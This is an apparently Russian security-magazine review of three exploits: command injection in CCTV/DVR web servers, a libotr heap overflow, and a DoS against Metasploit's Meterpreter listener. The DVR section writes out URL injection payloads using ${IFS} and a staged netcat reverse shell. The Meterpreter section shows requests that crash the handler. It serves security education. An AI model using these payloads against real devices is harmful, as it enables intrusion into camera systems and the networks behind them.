В сегодняшнем обзоре мы снова затронем тему устройств CCTV/DVR на примере использования найденных злоумышленниками уязвимостей. Разберем ошибку в популярной библиотеке libotr, которой пользуются все шифропанки для обеспечения приватности переписки, и закончим уязвимостью в одном из модулей фреймворка Metasploit, который не раз бывал и, наверное, еще побывает на наших виртуальных страницах.

 

Многочисленные уязвимости в CCTV/DVR-устройствах

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 22 марта 2016 года
Автор: Ротем Кернер
CVE: N/A

Продолжим тему уязвимостей в CCTV/DVR-устройствах, которую мы начали в предыдущем выпуске. Как пишет автор эксплоита, это исследование продолжает одно из прошлых — про платежные терминалы, которое носило название «Point of sale malware: the full story of the Backoff trojan operation». Злоумышленники постоянно придумывают новые направления атак — именно благодаря им взломали DVR, которые являются ключевым компонентом любой системы камер видеонаблюдения. Это позволило достичь следующих целей:

  1. Проверить, что хост находится в некоем магазине.
  2. Получить отправную точку для атаки на локальную сеть, к которой подключен POS-терминал.
Снимок с CCTV в одном из магазинов
Снимок с CCTV в одном из магазинов

Забавно, что камеры наблюдения, которые служат первой линией безопасности в реальном мире, стали слабым звеном в виртуальном.

После изучения темы про POS вредоносные программы у автора возникло два вопроса.

  1. Как системы видеонаблюдения работают по сети?
  2. Как они были скомпрометированы?

Используя данные, полученные из управляющего центра тысячи зараженных устройств, автор начал проверять открытые порты и сервисы. Было обнаружено, что, помимо открытых портов 81 и 82, доступен порт 8000. Они были идентифицированы как Cross Web Server, и заглавная страница выглядела как на скриншоте.

Заглавная страница Cross Web Server
Заглавная страница Cross Web Server

Быстрый поиск по Shodan обнаружил около 30 тысяч устройств. Следующим шагом стало определение производителя этих устройств. Были найдены следующие файлы.

WebClient.html:

<script id=" gt="" live_js="" lt="" script="" src="script/live.js" type="text/javascript">

script/live.js:

<img style="cursor:auto;" src = "logo/logo.png">

Поиск по логотипу привел к небольшой израильской компании, которая продает системы CCTV, но комментарии говорили о том, что производятся они в Китае. Далее в результате исследования сайта компании была найдена секция с возможностью загрузки обновленных прошивок для DVR.

total 8684
drwx------  8 exodus exodus    4096 Feb 10 18:26 .
drwx------  8 exodus exodus   16384 Feb 10 16:08 ..
-rw-r--r--  1 exodus exodus     604 Nov  7  2012 boot.sh
drwx------  2 exodus exodus    4096 Nov  7  2012 config
-rw-r--r--  1 exodus exodus    1027 Nov  7  2012 dep2.sh
-rw-r--r--  1 exodus exodus  307561 Nov  7  2012 language.tar
-rw-r--r--  1 exodus exodus 1189984 Nov  7  2012 libhi3520a.so
drwx------  2 exodus exodus    4096 Feb  8 13:07 modules
-rw-r--r--  1 exodus exodus    2175 Nov  7  2012 netupgrade.sh
-rw-r--r--  1 exodus exodus    4852 Nov  7  2012 preupgrade.sh
drwx------  2 exodus exodus    4096 Jan  4  2015 product
-rw-r--r--  1 exodus exodus    5984 Nov  7  2012 productcheck
-rw-r--r--  1 exodus exodus      44 Nov  7  2012 rewdg.sh
-rw-r--r--  1 exodus exodus 7257480 Nov  7  2012 td3520a
drwx------  2 exodus exodus    4096 Jan  4  2015 ui
drwx------  2 exodus exodus    4096 Jan  4  2015 VideoPlay
drwx------ 34 exodus exodus    4096 Jan 27  2015 WebSites
-rw-r--r--  1 exodus exodus   51696 Nov  7  2012 XDVRStart.hisi

Внутри архива находилась файловая система. Автору требовалось найти главный процесс сервера. Первым делом был проверен загрузочный скрипт boot.sh, который предположительно должен был выполнять все соответствующие файлы. Он выполнял deps2.sh, а тот, в свою очередь, два бинарных файла — XVDRStart.hisi и td3520a. Наиболее значим td3520a, он и был выбран для анализа.

Спасибо разработчикам, которые скомпилировали его в режиме отладки, сохранив все символы и все названия функций. Это значительно облегчало исследование. Далее был найден следующий уязвимый код в реализации HTTP-сервера.

.text:0040878C LDR     R0, [R11,#dirp] ; dirp
.text:00408790 BL      closedir
.text:00408794 LDR     R0, =aExtractLanguag ; "extract language packet!"
.text:00408798 BL      puts
.text:0040879C SUB     R3, R11, #-var_6C00
.text:004087A0 SUB     R3, R3, #4
.text:004087A4 SUB     R3, R3, #0xCC
.text:004087A8 SUB     R2, R11, #-dest
.text:004087AC MOV     R0, R3          ; s
.text:004087B0 LDR     R1, =aTarZxfMntMtdWe ; "tar -zxf /mnt/mtd/WebSites/language.tar.gz
                                            ;    %s/* -C /nfsdir/language/"
.text:004087B4 BL      sprintf
.text:004087B8 SUB     R3, R11, #-var_6C00
.text:004087BC SUB     R3, R3, #4
.text:004087C0 SUB     R3, R3, #0xCC
.text:004087C4 MOV     R0, R3          ; char *
.text:004087C8 BL      DVRSystem

Если в URI встречается конструкция /language/[language]/index.html, то файл берет строку из [language] и проверяет наличие директории с таким именем. Если нет, то выполняется следующая команда:

tar -zxf /mnt/mtd/WebSites/language.tar.gz [language]/* -C /nfsdir/language

Такая ошибка позволяет нам удаленно выполнять любые команды.

 

EXPLOIT

Эксплуатация осложняется следующими проблемами:

  1. Нельзя использовать пробелы или перевод на новые строки, и сервер не понимает URL-кодирование.
  2. Длина строки между слешами ограничена.

Эти ограничения удалось обойти с помощью ${IFS}. IFS (Internal Field Separator) — это разделение полей, которое использует значение из shell. По умолчанию он содержит символ \n. Это то, что нам нужно!

В качестве теста была выбрана следующая команда:

/language/Swedish${IFS}&&echo${IFS}$USER>test&&tar${IFS}/string.js

И, пройдя по ссылке на созданный файл, можно было увидеть надпись «root».

Большинство встроенных систем использует BusyBox, и, скорее всего, нам доступен netcat, который поможет организовать шелл. Для обхода ограничения в длину эта атака была проведена в три этапа.

Третий:

echo nc 1.1.1.1 1234>e

Второй:

echo -e $SHELL>>e

Первый:

$(cat e) &>r

По ссылке ты можешь найти исходник эксплоита. Далее автор решил поискать аналогичные устройства от этого китайского производителя и обнаружил около семидесяти вендоров, которые их продают. Оригинальная статья и список вендоров с уязвимыми устройствами приведен в блоге.

 

TARGETS

Список возможных целей представлен в блоге автора.

 

SOLUTION

Об исправлениях на момент написания статьи не было известно.

 

Повреждение памяти в libotr

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 9 марта 2016 года
Автор: X41 D-Sec, Markus Vervier
CVE: CVE-2016-2851

Я думаю, многие наши читатели слышали про плагины для мессенджеров вроде Pidgin, ChatSecure и Adium, которые добавляют поддержку OTR. Этот протокол обеспечивает шифрование переписки. Однако в библиотеке libotr, которая используется во многих мессенджерах, была найдена уязвимость.

Атакующий может вызвать падение приложения, содержащего библиотеку, или выполнить произвольный код, отослав OTR сообщение большого размера. Сама библиотека написана на си и представляет собой простую реализацию этого протокола.

Как пишет автор эксплоита в своем отчете, уязвимость типа удаленного выполнения кода была найдена после ручного анализа исходников.

Суть заключалась в отправке сообщений большого размера, которые вызывают целочисленное переполнение, что впоследствии приводит к повреждению кучи на 64-битных архитектурах.

Когда приходит сообщение с типом OTRL_MSGSTATE_DATA во время общения через OTR, то оно обрабатывается функцией otrl_proto_accept_data в src/message.c:

case OTRL_MSGSTATE_ENCRYPTED:
  extrakey = gcry_malloc_secure(OTRL_EXTRAKEY_BYTES);
  err = otrl_proto_accept_data(&plaintext, &tlvs, context, message, &flags, extrakey);

После декодирования Base64 и получения некоторых значений из него длина сообщения копируется в переменную с типом unsigned int в файл proto.c:

read_int(datalen);

Далее с использованием read_int из proto.c проверяется, будет ли буфер сообщения содержать количество байтов,
равное datalen.

require_len(datalen);

Сами макросы require_len и read_int описаны в файле src/serial.h.

#define require_len(l) do { \
  if (lenp < (l)) goto invval; \
  } while(0)

#define read_int(x) do { \
  require_len(4); \
  (x) = (((unsigned int)bufp[0]) << 24) | (bufp[1] << 16) | (bufp[2] << 8) | bufp[3]; \
  bufp += 4; lenp -= 4; \
  } while(0)

Из сообщения считываются четыре байта и интерпретируются как беззнаковое целое число. Затем выделяется буфер размером datalen+1 с помощью функции malloc в proto.c.

data = malloc(datalen+1);
if (!data) {
  err = gcry_error(GPG_ERR_ENOMEM);
  goto err;
}

Теперь данные из сообщения копируются в буфер при помощи memmove.

memmove(data, bufp, datalen);

Уязвимость проявляется, если из буфера сообщения считывается значение 0xFFFFFFFF (MAX_UINT). Когда datalen имеет размер 32 бита (беззнаковое целое), операция datalen+1 будет обработана перед передачей в malloc. В результате будет нулевое выделение (malloc(0)) — оно пройдет проверку в большинстве реализаций функции malloc() на 64-битных системах. В итоге четыре гигабайта данных скопируются за пределы кучи.

 

EXPLOIT

Для успешной эксплуатации атакующему требуется отправить не менее 5,5 Гбайт данных для прохождения проверки require_len(datalen). Для успешного срабатывания было отправлено 275 сообщений размером по 20 Мбайт каждое на систему с 8 Гбайт оперативной памяти и swap-файлом размером 15 Гбайт. Исходники скрипта на Python, который использовался для этого, авторы тоже выложили в открытый доступ.

 

TARGETS

libotr <= 4.1.0

.## SOLUTION

Производитель выпустил исправление.

 

Досим Meterpreter

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 19 декабря 2015 года
Автор: x4zx
CVE: N/A

Мы уже как-то раз разбирали уязвимость в популярном сканере веб-уязвимостей Acunetix. Самое интересное, что через нее можно было атаковать атакующего. Теперь рассмотрим подобную возможность в Meterpreter из популярного фреймворка Metasploit.

Найденные уязвимости позволяют провести DoS-атаку на обработчик HTTPS-запросов этой утилиты. Процесс состоит из двух шагов.

  1. Используя GET-запросы к известным файлам через handler/listener и проверяя наличие строки core_patch_url, узнаем о запущенной версии утилиты.
  2. Используя вредоносный или недоделанный GET-запрос к определенным файлам утилиты, можно попасть в открытую Meterpreter сессию и сделать так, чтобы сессии больше не принимались (DoS).
 

EXPLOIT

Виной всему порт, который использует утилита. Он доступен по URL (проверялось через HTTPS-протокол).

Доступный по URL порт для работы с Meterpreter
Доступный по URL порт для работы с Meterpreter

Там есть множество файлов, которые мы можем запросить через URL, и каждый из них, в свою очередь, вызывает разное поведение обработчика. От содержания и типа получаемых файлов зависит возможность определения наличия утилиты или проведения DoS-атаки.

Запустим свой handler с полезной нагрузкой в виде шелла meterpreter reverse_https.

use exploit/multi/handler
set ExitOnSession false
set LHOST 192.168.1.1
set LPORT 65535
set PAYLOAD windows/meterpreter/reverse_https
exploit -j

Теперь попробуем получить файл chpwd.htm из listener.

$ wget -qO- --no-check-certificate https://192.168.1.1/chpwd.htm

...core_patch_url...LUDZ6djujGbWvte_gMomnQm7EQVgW7RJfg3xpGoDUgRe_SdhLJBud68viiiDN1UsrniHZsjxLn9qYOo4YJIIU6K5ZnhNsuoGoPuWqKpQQVtxU6L4EQg8ka9cZ4aJ-/

Ты уже заметил, что этот файл содержит строки core_patch_url и следующую за ней, сгенерированную случайным образом. На стороне listener в логах видим следующее:

73.x.x.x:47054 (UUID: 2d40d9e9d8ee8c66/x86=1/windows=1/2015-12-19T05:50:27Z) Redirecting stageless connection from /chpwd.htm with UA 'Wget/1.16 (linux-gnu)'

Есть и альтернативный способ. Мы можем запросить файл blank.php. Это актуальный файл для listener, который представляет собой DLL-библиотеку.

$ wget --no-check-certificate https://666.666.666.666/blank.php
$ file blank.php: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Теперь в логах мы уже видим следующее:

[*] 73.x.x.x:10458 (UUID: 376988d5161359f3/x86=1/windows=1/2015-12-19T04:44:20Z) Staging Python payload ...
[*] Meterpreter session 57 opened (192.168.1.1:65535 -> 73.x.x.x:10458) at 2015-12-19 04:44:20 +0000

Запрос файла blank.php триггерит скрипт на Python и открывает сессию Meterpreter (правда, она неправильная и скоро будет закрыта).

[-] Meterpreter session 57 is not valid and will be closed

Лог самого Meterpreter подтверждает наличие ложной сессии. В итоге мы получаем DoS у handler, вызывая задержку между любой «правильной» полезной нагрузкой и handler/listener.

Помимо получения строки core_patch_url из chpwd.htm и бинарного blank.php, мы можем найти много информации среди доступных файлов (см. скриншоты).

Список доступных файлов у Meterpreter. Часть 1
Список доступных файлов у Meterpreter. Часть 1
Список доступных файлов у Meterpreter. Часть 2
Список доступных файлов у Meterpreter. Часть 2

Автор опубликовал исходники обоих скриптов:

Дополнительные подробности есть в статье автора эксплоита.

 

SOLUTION

По умолчанию listener сконфигурирован так, что разрешены все соединения с любым UUID полезной нагрузки. Установи IgnoreUnknownPayloads true в своем скрипте или из консоли msfconsole переведи полезную нагрузку и listener в Paranoid Mode. Подробности можешь найти в wiki фреймворка.

Или настрой правила iptables:

iptables -I INPUT -p tcp -m tcp -s 0.0.0.0/0 --dport $LISTENER_PORT -j DROP
iptables -I INPUT -p tcp -m tcp -s $SHELL_IP --dport $LISTENER_PORT -j ACCEPT
iptables -L

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии